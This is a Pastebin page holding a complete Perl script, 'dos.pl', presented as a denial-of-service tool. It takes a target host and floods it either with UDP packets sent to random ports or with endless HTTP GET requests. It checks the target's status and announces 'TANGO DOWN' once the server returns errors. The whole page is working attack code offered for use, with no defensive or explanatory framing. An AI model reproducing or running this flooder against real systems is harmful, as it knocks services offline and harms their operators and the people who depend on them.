SHARE
TWEET

dos.pl

perriercamille Jun 1st, 2012 322 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/perl
  2.  
  3. ############
  4. # DoS tool #
  5. ############
  6.  
  7. use Socket;
  8. use strict;
  9. use LWP;
  10.  
  11. if ($#ARGV != 1)
  12. {
  13.     print "\nperl dos.pl <url> <mode>\n";
  14.     print "<mode> : HTTP | UDP\n";
  15.     exit(1);
  16. }
  17.  
  18. my ($url,$mode) = @ARGV;
  19. my ($iaddr,$endtime,$psize,$pport,$count,$rep,@code);
  20. my $ip = inet_ntoa(inet_aton($url));;
  21. my $ua = new LWP::UserAgent;
  22. my $req = new HTTP::Request(GET => "http://".$url."/");
  23.  
  24. print "\nStarting on ".$mode." mode...\n\n";
  25. print $url." IP address is : ".$ip."\n";
  26.  
  27. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  28. $endtime = time() + 1000000;
  29.  
  30. if ($mode eq "UDP")
  31. {
  32.     socket(flood, PF_INET, SOCK_DGRAM, 17);
  33.     print "Flooding ".$url." (".$ip.") on random ports with 1024-byte packets\n";
  34.     $count = 0;
  35.     for (;time() <= $endtime;)
  36.     {
  37.         $psize = 1024;
  38.         $pport = int(rand(65500))+1;
  39.         send(flood, pack("a".$psize,"flood"), 0, pack_sockaddr_in($pport, $iaddr));
  40.         &CheckStatus(100000);
  41.     }
  42. }
  43. elsif ($mode eq "HTTP")
  44. {
  45.     print "Flooding ".$url." (".$ip.") with HTTP requests\n";
  46.     $count = 0;
  47.     for (;time() <= $endtime;)
  48.     {
  49.         $rep = $ua->request($req);
  50.         &CheckStatus(5);
  51.     }
  52. }
  53.  
  54. sub CheckStatus
  55. {
  56.     my ($nb) = @_;
  57.     if ((++$count % $nb) == 0)
  58.     {
  59.         print "\n".$count." ".$mode." requests sent to ".$url." (".$ip.") !";
  60.         if (($count % ($nb * 10)) == 0)
  61.         {
  62.             $rep = $ua->request($req);
  63.             @code = split(' ',$rep->status_line);
  64.             if($code[0] ~~ [404,408,503,504])
  65.             {
  66.                 print "\n".$url." (".$ip.") TANGO DOWN -> ".$rep->status_line;
  67.                 print "\n\nExit...\n\n";
  68.                 exit(0);
  69.             }
  70.         }
  71.     }
  72. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top